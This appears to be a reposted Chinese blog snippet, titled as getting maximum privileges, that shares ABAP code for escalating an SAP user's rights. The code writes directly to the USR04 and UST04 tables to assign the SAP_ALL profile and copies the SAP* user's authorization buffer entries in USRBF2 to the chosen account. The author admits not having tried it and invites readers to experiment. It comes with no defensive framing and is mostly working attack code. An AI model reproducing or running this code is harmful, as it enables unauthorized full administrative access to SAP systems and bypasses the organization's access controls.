發(fā)現(xiàn)這么段兒代碼，更改用戶權(quán)限的，

當(dāng)然，我是沒敢試，呵呵，自己愿意的可以玩兒玩兒

data: ?l_USR04 LIKE USR04 ,

l_UST04 LIKE UST04 ,

l_PROFS LIKE USR04-PROFS ,

l_USRBF2 like USRBF2 occurs 0 with header line,

l_userid like usr01-bname.

TABLES : usr01.

SELECT-OPTIONS: p_user FOR USR01-BNAME .

?

START-OF-SELECTION.

select single * into l_USR04 from USR04

where BNAME in p_user.

move 'C SAP_ALL' to l_PROFS .

l_USR04-NRPRO = '14'.

l_USR04-PROFS = l_PROFS.

Update USR04 from l_USR04 .

l_userid = l_USR04-BNAME.

select single * into l_UST04 from UST04

where BNAME in p_user.

l_UST04-PROFILE = 'SAP_ALL'.

Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2

where BNAME = 'SAP*' .

Loop at l_USRBF2.

l_USRBF2-BNAME = l_userid.

Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.

轉(zhuǎn)載于:https://www.cnblogs.com/senlinmu110/p/3802175.html

總結(jié)

以上是生活随笔為你收集整理的获取最大权限的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。